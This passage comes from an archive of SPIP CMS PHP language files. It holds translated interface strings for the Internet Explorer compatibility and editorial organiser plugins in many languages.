'choix_ie7squish' => 'IE7-squish corregge tre bug di MSIE 6 (in particolare il doppio margine degli elementi float), ma possono verificarsi degli effetti collaterali (il webmaster deve verificarne la compatibilità).',
'choix_ie8' => 'IE8.js completa IE7.js arricchendo i comportamenti del CSS da MSIE 5 a 7.
',
'choix_ifixpng' => '<a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> (<b>predefinito</b>) ristabilisce la trasparenza delle immagini nel formato PNG con MSIE 5 e 6.
',
'choix_non' => 'Non attivare: non aggiungere niente ai miei modelli',
'choix_titre' => 'Compatibilità Microsoft Internet Explorer'
);
?>
msiecompat_en.php 0000666 00000002402 15252255174 0010112 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/msiecompat?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => 'This configuration allows you to improve the compatibility of the public site with Internet Explorer.',
'choix_ie7' => '<a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> fixes PNG images and adds CSS2 selectors for MSIE 5 and 6 (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'>You can consult the list of compatible selectors introduced by IE7.js et IE8.js</a>).',
'choix_ie7squish' => 'IE7-squish fixes three MSIE 6 bugs (including the double margin of floating elements), but side effects may occur (the webmaster should check compatibility).',
'choix_ie8' => 'IE8.js complete IE7.js by expanding the CSS behaviors of MSIE 5 to 7.',
'choix_ifixpng' => 'Default choice, <a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> restores the semi-transparency on PNG images under MSIE 5 and 6.',
'choix_non' => 'Disable: do not add anything to my pages',
'choix_titre' => 'Microsoft Internet Explorer Compatibility'
);
?>
msiecompat_ar.php 0000666 00000003314 15252255174 0010115 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/msiecompat?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => 'يتيح لك هذا الإعداد تحسين توافق الموقع العمومي مع متصفح إنترنت إكسبلورر.',
'choix_ie7' => 'يصحح <a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> صور PNG ويصحح علامات أوراق الأنما ٢ في إنترنت إكسبلورر ٥ و ٦ (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'> يمكن الرجوع الى العلامات المتوافقة التي أدخلها IE7.js وIE8.js</a>).',
'choix_ie7squish' => 'يصحح IE7-squish ثلاثة أخطاء في إنترنت إكسبلورر ٦ (لا سيما الهامش المزدوج للعناصر العائمة)، لكن قد تظهر تأثيرات غير مرغوبة (يجب على مشرف الموقع ان يتأكد من التوافقية).',
'choix_ie8' => 'IE8.js يكمل IE7.js بإغناء أداء أوراق الأنماط في إنترنت اكسبلورر من الإصدار ٥ الى الإصدار ٧.',
'choix_ifixpng' => 'الخيار الافتراضي <a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> يستعيد نصف شفافية صور تنسيق PNG في إنترنت إكسبلورر ٥ و٦.',
'choix_non' => 'عدم التفعيل: عدم إضافة اي شيء على الصفحات النموذجية',
'choix_titre' => 'التوافق مع مايكروسوفت انترنت اكسبلورر'
);
?>
paquet-msie_compat_de.php 0000666 00000001145 15252255174 0011537 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'msie_compat_description' => 'Bietet verschiedene Methoden für:
-* transparente PNG Dateien unter MSIE 6
-* und /oder diverse CSS Selektoren für MSIE 6 und 7.',
'msie_compat_nom' => 'Unterstützung älterer Webbrowser',
'msie_compat_slogan' => 'PNG und CSS-Selektoren für alte Browser'
);
?>
paquet-msie_compat_fr_fem.php 0000666 00000001232 15252255174 0012402 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'msie_compat_description' => 'Permet de sélectionner différentes méthodes
-* pour assurer l’affichage des fichiers PNG transparents sous MSIE 6
-* et/ou activer certains sélecteurs CSS dans MSIE 6 et 7.',
'msie_compat_nom' => 'Support vieux navigateurs',
'msie_compat_slogan' => 'PNG et sélecteurs CSS pour les vieux navigateurs'
);
?>
msiecompat_eu.php 0000666 00000002514 15252255174 0010125 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/msiecompat?lang_cible=eu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => '<p>Konfigurazio honek gunearen part publikoaren Microsoft Internet Explorerekilako bateragarritasuna hobetuko du.</p> <ul> <li><a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> (<b>lehenetsia</b>) PNG irudien erdi-gardentasuna berrezartzen du MSIE 5 eta 6entzat.</li>
<li><a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> PNG irudiak zuzentzen ditu eta CSS2 hautagailuak gehitzen ditu MSIE 5 eta 6entzat (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'>IE7.js eta IE8.js-k gehitzen dituzten hautagailu bateragarrien zerrenda ikus dezakezu</a>).</li>
<li>IE8.js : IE7.js osatzen du CSSen jarrerak aberastuz MSIE 5etik 7ra. </li>
<li>IE7-squish : MSIE 6en 3 bug zuzentzen ditu (Div-en marjina bikoitzak besteak beste), baina eragin maltzurrak sortzen ahal ditu. Web-arduradunak bateragarritasuna baieztatu behar du).</li>
</ul>', # MODIF
'choix_non' => 'Ez aktibatu : ezer ez eskeletoetan gehitu',
'choix_titre' => 'Microsoft Internet Explorer-ekin bateragarritasuna'
);
?>
paquet-msie_compat_lb.php 0000666 00000001204 15252255174 0011540 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'msie_compat_description' => 'Erlaabt verschidde Methoden ze wielen
-* fir déi transparent PNG Biller ënner MSIE 6 ze gesinn
-* an/oder verschidde CSS Selektoren am MSIE 6 a 7 anzeschalten.',
'msie_compat_nom' => 'Ënnerstëtzung vun ale Browseren',
'msie_compat_slogan' => 'PNG an CSS Selektoren fir déi al Browseren'
);
?>
paquet-msie_compat_ru.php 0000666 00000001534 15252255174 0011577 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'msie_compat_description' => 'Несколько разных javascript библиотек, которые обеспечивают:
-* поддержку прозрачности PNG для MSIE 6
-* поддержку ряда CSS селекторов для MSIE 6 et 7.',
'msie_compat_nom' => 'Поддержка старых броузеров',
'msie_compat_slogan' => 'Поддержка прозрачности PNG и расширенная поддержка селекторов CSS для старых броузеров'
);
?>
paquet-msie_compat_fa.php 0000666 00000001505 15252255174 0011535 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'msie_compat_description' => 'مجوز گزينش روشهاي مختلف
-* براي اطمينان از نمايش پروندههاي پي.ان.گي پشفاب در ام.اس.آي.اي 6
-*و/يا فعال كردن بعضي از گزينشگرهاي اس.اس.سي در ام.اس.آي.اي 6 و 7',
'msie_compat_nom' => 'پشتيباني از مرورگرهاي قديمي',
'msie_compat_slogan' => 'پي.ان.جي و گزينشگرهاي سي.اس.اس براي مرورگرهاي قديمي'
);
?>
msiecompat_nl.php 0000666 00000002503 15252255174 0010123 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/msiecompat?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => 'Deze configuratie verbeterd de compatibiliteit van het publieke site met de Internet Explorer browser.',
'choix_ie7' => '<a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> verbetert PNG beelden en stelt CSS2-selectors voor MSIE 5 en 6 in (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'>Raadpleeg ook het lijst van compatiebel selectors ingevoerd door IE7.js en IE8.js</a>).',
'choix_ie7squish' => 'IE7-squish verbetert 3 bugs van MSIE 6 (onder andere het dubbel margin van losse elementen), maar ongewilde effecten kunnen gebeuren (compatibiliteit te checken door de webmaster).',
'choix_ie8' => 'IE8.js vervolledigt IE7.js door de CSS effecten van MSIE 5 tot 7 te verrijken.',
'choix_ifixpng' => 'Standaardinstelling, <a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> herstelt de semitransparantie van de PNG beelden onder MSIE 5 en 6.',
'choix_non' => 'Niets activeren: niets bij mijn skeletten voegen',
'choix_titre' => 'Compatibiliteit Microsoft Internet Explorer'
);
?>
msiecompat_sk.php 0000666 00000002517 15252255174 0010134 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/msiecompat?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => 'Toto nastavenie umožňuje zlepšiť kompatibilitu verejne prístupnej stránky s prehliadačom Internet Explorer. ',
'choix_ie7' => '<a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> napráva obrázky PNG a pridáva konvertory CSS2 pre MSIE 5 a 6 (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'>môžete si pozrieť zoznam kompatibilných konvertorov zavedených v IE7.js a IE8.js</a>).',
'choix_ie7squish' => 'IE7-squish napráva tri chyby MSIE 6 (vrátane dvojitého okraja plávajúcich objektov), ale môžu sa objaviť vedľajšie efekty (webmaster by mal skontrolovať kompatibilitu).',
'choix_ie8' => 'IE8.js celkovo rozširuje IE7.js o komponenty CSS od MSIE 5 do 7.',
'choix_ifixpng' => 'Predvolená možnosť <a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> obnoví polopriehľadnosť obrázkov PNG v MSIE 5 a 6.',
'choix_non' => 'Neaktivovať: nepridávať nič do mojich šablón',
'choix_titre' => 'Kompatibilita s prehliadačom Microsoft Internet Explorer'
);
?>
paquet-organiseur_sk.php 0000666 00000000710 15252255204 0011431 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// O
'organiseur_description' => 'Nástroje na redakčnú prácu v skupine',
'organiseur_slogan' => 'Nástroje na redakčnú prácu v skupine'
);
?>
paquet-organiseur_nl.php 0000666 00000000732 15252255204 0011431 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// O
'organiseur_description' => 'Samenwerking- en werkinstrument voor de redacteurs',
'organiseur_slogan' => 'Samenwerking- en werkinstrument voor de redacteurs'
);
?>
paquet-organiseur_ar.php 0000666 00000000764 15252255204 0011427 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// O
'organiseur_description' => 'أدوات عمل تحريري جماعي', # أدوات عمل تحريري جماعي
'organiseur_slogan' => 'أدوات عمل تحريري جماعي'
);
?>
paquet-organiseur_en.php 0000666 00000000700 15252255204 0011415 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// O
'organiseur_description' => 'Collaborative editorial working tools',
'organiseur_slogan' => 'Collaborative editorial working tools'
);
?>
organiseur_fr.php 0000666 00000006025 15252255204 0010133 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/organiseur/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_enregistrer_brouillon' => 'Enregistrer en brouillon',
'bouton_envoyer_message' => 'Envoyer',
'bouton_envoyer_message_maintenant' => 'Envoyer maintenant',
// C
'cal_jour_entier' => 'Journée',
'cal_par_jour' => 'jour',
'cal_par_mois' => 'mois',
'cal_par_semaine' => 'semaine',
// E
'erreur_date' => 'Cette date est incorrecte',
'erreur_date_avant_apres' => 'Indiquez une date de fin après la date de début !',
'erreur_date_corrigee' => 'La date a été corrigée',
'erreur_destinataire_invalide' => 'Le destinataire @dest@ n’est pas valide',
'erreur_heure' => 'Cette heure est incorrecte',
'erreur_heure_corrigee' => 'L’heure a été corrigée',
// I
'icone_ecrire_nouveau_message' => 'Envoyer un nouveau message',
'icone_ecrire_nouveau_pensebete' => 'Écrire un nouveau pense-bête',
'icone_ecrire_nouvelle_annonce' => 'Envoyer une nouvelle annonce',
'icone_effacer_message' => 'Effacer ce message',
'icone_modifier_annonce' => 'Modifier cette annonce',
'icone_modifier_message' => 'Modifier ce message',
'icone_modifier_pensebete' => 'Modifier ce pense-bête',
'icone_supprimer_message' => 'Supprimer ce message',
'info_1_message_envoye' => '1 message envoyé',
'info_1_message_nonlu' => '1 nouveau message',
'info_agenda_interne' => 'Agenda interne',
'info_message_a' => 'À',
'info_message_date' => 'Date',
'info_message_date_debut' => 'Date début',
'info_message_date_fin' => 'Date fin',
'info_message_de' => 'De',
'info_message_non_lu' => 'Nouveau message',
'info_message_objet' => 'Objet',
'info_nb_messages_envoyes' => '@nb@ messages envoyés',
'info_nb_messages_nonlus' => '@nb@ nouveaux messages',
'info_selection_annonces' => 'Annonces',
'info_selection_messages' => 'Messages',
'info_selection_pensebetes' => 'Pense-bêtes',
'info_type_message_affich' => 'Annonce',
'info_type_message_normal' => 'Message',
'info_type_message_pb' => 'Pense-bête',
'info_type_message_rv' => 'Rendez-vous',
// L
'label_destinataires' => 'À',
'label_texte' => 'Texte',
'label_titre' => 'Sujet',
'loading' => 'Chargement…',
// M
'message' => 'Message',
'messages' => 'Messages',
// N
'notification_annonce_lire_a_ladresse' => 'Vous pouvez la lire à l’adresse suivante @url@.',
'notification_annonce_publie_1' => '[@nom_site_spip@] Annonce générale',
'notification_message_lire_a_ladresse' => 'Vous pouvez le lire et y répondre à l’adresse suivante @url@.',
'notification_message_publie_1' => '[@nom_site_spip@] Nouveau message',
'notification_message_recu_de' => 'Vous avez reçu un nouveau message de la part de @nom@.',
// T
'texte_message_brouillon' => 'Ce message est enregistré comme brouillon',
'titre_agenda_rv' => 'Rendez-vous',
'titre_boite_envoi' => 'Boîte d’envoi',
'titre_boite_reception' => 'Boîte de reception'
);
?>
paquet-organiseur_it.php 0000666 00000000716 15252255204 0011436 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// O
'organiseur_description' => 'Strumenti per il lavoro editoriale in gruppo',
'organiseur_slogan' => 'Strumenti per il lavoro editoriale in gruppo'
);
?>
organiseur_de.php 0000666 00000005606 15252255204 0010120 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/organiseur?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_enregistrer_brouillon' => 'Entwurf speichern',
'bouton_envoyer_message' => 'Senden',
'bouton_envoyer_message_maintenant' => 'Jetzt senden',
// C
'cal_jour_entier' => 'ganztägig',
'cal_par_jour' => 'Tag',
'cal_par_mois' => 'Monat',
'cal_par_semaine' => 'Woche',
// E
'erreur_date' => 'Falsches Datum',
'erreur_date_avant_apres' => 'Geben Sie bitte ein Enddatum an, das nach dem Beginn liegt.',
'erreur_date_corrigee' => 'Datum wurde geändert',
'erreur_destinataire_invalide' => 'Der Empfänger @dest@ ist ungültig',
'erreur_heure' => 'Falsche Uhrzeit (Stunde)',
'erreur_heure_corrigee' => 'Uhrzeit wurde geändert',
// I
'icone_ecrire_nouveau_message' => 'Nachricht senden',
'icone_ecrire_nouveau_pensebete' => 'Neue Notiz schreiben',
'icone_ecrire_nouvelle_annonce' => 'Neue Ankündigung veröffentlichen',
'icone_effacer_message' => 'Nachricht löschen',
'icone_modifier_annonce' => 'Ankündigung bearbeiten',
'icone_modifier_pensebete' => 'Notiz ändern',
'icone_supprimer_message' => 'Nachricht löschen',
'info_1_message_envoye' => '1 Nachricht gesendet',
'info_1_message_nonlu' => '1 neue Nachricht',
'info_agenda_interne' => 'Interner Kalender',
'info_message_a' => 'An',
'info_message_date' => 'Datum',
'info_message_date_debut' => 'Anfangsdatum',
'info_message_date_fin' => 'Enddatum',
'info_message_de' => 'Von',
'info_message_non_lu' => 'Neue Nachricht',
'info_message_objet' => 'Gegenstand',
'info_nb_messages_envoyes' => '@nb@ Nachrichten gesendet',
'info_nb_messages_nonlus' => '@nb@ neue Nachrichten',
'info_selection_annonces' => 'Ankündigungen',
'info_selection_messages' => 'Nachrichten',
'info_selection_pensebetes' => 'Notizen',
'info_type_message_affich' => 'Ankündigung',
'info_type_message_normal' => 'Nachricht',
'info_type_message_pb' => 'Notiz',
'info_type_message_rv' => 'Verabredung',
// L
'label_destinataires' => 'An',
'label_texte' => 'Text',
'label_titre' => 'Thema',
'loading' => 'lade ...',
// M
'message' => 'Nachricht',
'messages' => 'Nachrichten',
// N
'notification_annonce_lire_a_ladresse' => 'Hier zu lesen: @url@.',
'notification_annonce_publie_1' => '[@nom_site_spip@] allgemeine Ankündigung',
'notification_message_lire_a_ladresse' => 'Hier lesen und beantworten @url@.',
'notification_message_publie_1' => '[@nom_site_spip@] neue Nachricht',
'notification_message_recu_de' => 'Sie haben eine neue Nachricht von @nom@.',
// T
'texte_message_brouillon' => 'Diese Nachricht wurde als Entwurf gespeichert',
'titre_agenda_rv' => 'Verabredung',
'titre_boite_envoi' => 'Postausgang',
'titre_boite_reception' => 'Posteingang'
);
?>
paquet-organiseur_pt.php 0000666 00000000712 15252255204 0011441 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// O
'organiseur_description' => 'Ferramentas de trabalho editorial em grupo',
'organiseur_slogan' => 'Ferramentas de trabalho editorial em grupo'
);
?>
organiseur_fr_fem.php 0000666 00000006006 15252255204 0010761 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/organiseur?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_enregistrer_brouillon' => 'Enregistrer en brouillon',
'bouton_envoyer_message' => 'Envoyer',
'bouton_envoyer_message_maintenant' => 'Envoyer maintenant',
// C
'cal_jour_entier' => 'Journée',
'cal_par_jour' => 'jour',
'cal_par_mois' => 'mois',
'cal_par_semaine' => 'semaine',
// E
'erreur_date' => 'Cette date est incorrecte',
'erreur_date_avant_apres' => 'Indiquez une date de fin après la date de début !',
'erreur_date_corrigee' => 'La date a été corrigée',
'erreur_destinataire_invalide' => 'La destinataire @dest@ n’est pas valide',
'erreur_heure' => 'Cette heure est incorrecte',
'erreur_heure_corrigee' => 'L’heure a été corrigée',
// I
'icone_ecrire_nouveau_message' => 'Envoyer un nouveau message',
'icone_ecrire_nouveau_pensebete' => 'Écrire un nouveau pense-bête',
'icone_ecrire_nouvelle_annonce' => 'Envoyer une nouvelle annonce',
'icone_effacer_message' => 'Effacer ce message',
'icone_modifier_annonce' => 'Modifier cette annonce',
'icone_modifier_pensebete' => 'Modifier ce pense-bête',
'icone_supprimer_message' => 'Supprimer ce message',
'info_1_message_envoye' => '1 message envoyé',
'info_1_message_nonlu' => '1 nouveau message',
'info_agenda_interne' => 'Agenda interne',
'info_message_a' => 'À',
'info_message_date' => 'Date',
'info_message_date_debut' => 'Date début',
'info_message_date_fin' => 'Date fin',
'info_message_de' => 'De',
'info_message_non_lu' => 'Nouveau message',
'info_message_objet' => 'Objet',
'info_nb_messages_envoyes' => '@nb@ messages envoyés',
'info_nb_messages_nonlus' => '@nb@ nouveaux messages',
'info_selection_annonces' => 'Annonces',
'info_selection_messages' => 'Messages',
'info_selection_pensebetes' => 'Pense-bêtes',
'info_type_message_affich' => 'Annonce',
'info_type_message_normal' => 'Message',
'info_type_message_pb' => 'Pense-bête',
'info_type_message_rv' => 'Rendez-vous',
// L
'label_destinataires' => 'À',
'label_texte' => 'Texte',
'label_titre' => 'Sujet',
'loading' => 'Chargement…',
// M
'message' => 'Message',
'messages' => 'Messages',
// N
'notification_annonce_lire_a_ladresse' => 'Vous pouvez la lire à l’adresse suivante @url@.',
'notification_annonce_publie_1' => '[@nom_site_spip@] Annonce générale',
'notification_message_lire_a_ladresse' => 'Vous pouvez le lire et y répondre à l’adresse suivante @url@.',
'notification_message_publie_1' => '[@nom_site_spip@] Nouveau message',
'notification_message_recu_de' => 'Vous avez reçu un nouveau message de la part de @nom@.',
// T
'texte_message_brouillon' => 'Ce message est enregistré comme brouillon',
'titre_agenda_rv' => 'Rendez-vous',
'titre_boite_envoi' => 'Boîte d’envoi',
'titre_boite_reception' => 'Boîte de réception'
);
?>
organiseur_fa.php 0000666 00000006611 15252255204 0010113 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/organiseur?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_enregistrer_brouillon' => 'ثبت پيشنويس',
'bouton_envoyer_message' => 'پيام تعيين شده :ارسال',
'bouton_envoyer_message_maintenant' => 'اكنون ارسال ',
// C
'cal_jour_entier' => 'روز',
'cal_par_jour' => 'روز',
'cal_par_mois' => 'ماه',
'cal_par_semaine' => 'هفته',
// E
'erreur_date' => 'اين تاريخ درست نيست',
'erreur_date_avant_apres' => 'يك تاريخ پايان بعد از يك تاريخ آغاز وارد كنيد!',
'erreur_date_corrigee' => 'اين تاريخ اصلاح شده',
'erreur_destinataire_invalide' => 'گيرنده @dest@ معتبر نيست',
'erreur_heure' => 'اين ساعت درست نيست',
'erreur_heure_corrigee' => 'اين ساعت اصلاح شده است',
// I
'icone_ecrire_nouveau_message' => 'فرستادن يك پيام جديد',
'icone_ecrire_nouveau_pensebete' => 'نوشتن يك يادداشت جديد',
'icone_ecrire_nouvelle_annonce' => 'فرستادن يك اطلاعيه جديد',
'icone_effacer_message' => 'حذف اين پيام',
'icone_modifier_annonce' => 'اصلاح اين اطلاعيه',
'icone_modifier_pensebete' => 'اصلاح اين يادداشت',
'icone_supprimer_message' => 'حذف اين پيام',
'info_1_message_envoye' => '1 پيام ارسالي',
'info_1_message_nonlu' => '1 پيام جديد',
'info_agenda_interne' => 'دستوركار دروني ',
'info_message_a' => 'به',
'info_message_date' => 'تاريخ',
'info_message_date_debut' => 'تاريخ آغاز',
'info_message_date_fin' => 'تاريخ پايان',
'info_message_de' => 'از',
'info_message_non_lu' => 'پيام جديد',
'info_message_objet' => 'موضوع',
'info_nb_messages_envoyes' => '@nb@ پيام ارسالي',
'info_nb_messages_nonlus' => '@nb@ پيام جديد',
'info_selection_annonces' => 'اطلاعيه',
'info_selection_messages' => 'پيامها',
'info_selection_pensebetes' => 'يادداشت',
'info_type_message_affich' => 'اطلاعيه',
'info_type_message_normal' => 'پيام',
'info_type_message_pb' => 'يادداشت',
'info_type_message_rv' => 'قرار ',
// L
'label_destinataires' => 'به',
'label_texte' => 'متن:',
'label_titre' => 'تيتر',
'loading' => 'بارگذاري...',
// M
'message' => 'پيام',
'messages' => 'پيامها',
// N
'notification_annonce_lire_a_ladresse' => 'ميتوانيد آن را در نشاني @url@ بخوانيد.',
'notification_annonce_publie_1' => '[@nom_site_spip@] اطلاعيهي عمومي',
'notification_message_lire_a_ladresse' => 'ميتونيد آن را در اين نشاني @url@بخوانيد و به آن پاسخ دهيد.',
'notification_message_publie_1' => '[@nom_site_spip@]پيام جديد',
'notification_message_recu_de' => 'پيام جديدي از سوي@nom@ دريافت كردهايد. ',
// T
'texte_message_brouillon' => 'اين پيام به مانند پيشنويس ثبت ميشود',
'titre_agenda_rv' => 'قرار ',
'titre_boite_envoi' => 'صندوق نامه',
'titre_boite_reception' => 'صندوق دريافت'
);
?>
paquet-organiseur_es.php 0000666 00000000712 15252255204 0011425 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// O
'organiseur_description' => 'Herramientas de trabajo editorial en grupo',
'organiseur_slogan' => 'Herramientas de trabajo editorial en grupo'
);
?>
organiseur_ru.php 0000666 00000007101 15252255204 0010146 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/organiseur?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_enregistrer_brouillon' => 'Сохранить как черновик',
'bouton_envoyer_message' => 'Отправить',
'bouton_envoyer_message_maintenant' => 'Отправить сейчас',
// C
'cal_jour_entier' => 'День',
'cal_par_jour' => 'день',
'cal_par_mois' => 'месяц',
'cal_par_semaine' => 'неделя',
// E
'erreur_date' => 'Дата указанна неверно',
'erreur_date_avant_apres' => 'Укажите "дату с" и "дату по" !',
'erreur_date_corrigee' => 'Дата исправлена',
'erreur_destinataire_invalide' => 'Неправильный получатель - @dest@ ',
'erreur_heure' => 'Время указанно неправильно',
'erreur_heure_corrigee' => 'Время исправлено ',
// I
'icone_ecrire_nouveau_message' => 'Отправить новое сообщение',
'icone_ecrire_nouveau_pensebete' => 'Новое напоминание',
'icone_ecrire_nouvelle_annonce' => 'Отправить объявление',
'icone_effacer_message' => 'Удалить сообщение',
'icone_modifier_annonce' => 'Изменить объявление',
'icone_modifier_pensebete' => 'Изменить напоминание',
'icone_supprimer_message' => 'Удалить сообщение',
'info_1_message_envoye' => '1 сообщение отправлено ',
'info_1_message_nonlu' => '1 новое сообщение',
'info_agenda_interne' => 'Расписание дня',
'info_message_a' => 'Кому',
'info_message_date' => 'Дата',
'info_message_date_debut' => 'Дата с',
'info_message_date_fin' => 'Дата по',
'info_message_de' => 'От',
'info_message_non_lu' => 'Новое сообщение',
'info_message_objet' => 'Объект',
'info_nb_messages_envoyes' => '@nb@ сообщений отправлено',
'info_nb_messages_nonlus' => '@nb@ новых сообщений',
'info_selection_annonces' => 'Объявления',
'info_selection_messages' => 'Сообщения',
'info_selection_pensebetes' => 'Напоминания',
'info_type_message_affich' => 'Объявление',
'info_type_message_normal' => 'Сообщение',
'info_type_message_pb' => 'Напоминание',
'info_type_message_rv' => 'Событие',
// L
'label_destinataires' => 'Кому',
'label_texte' => 'Текст',
'label_titre' => 'Тема',
'loading' => 'Загружается…',
// M
'message' => 'Сообщение',
'messages' => 'Сообщения',
// N
'notification_annonce_lire_a_ladresse' => 'Вы можете прочитать его по ссылке @url@.',
'notification_annonce_publie_1' => '[@nom_site_spip@] Общее объявление',
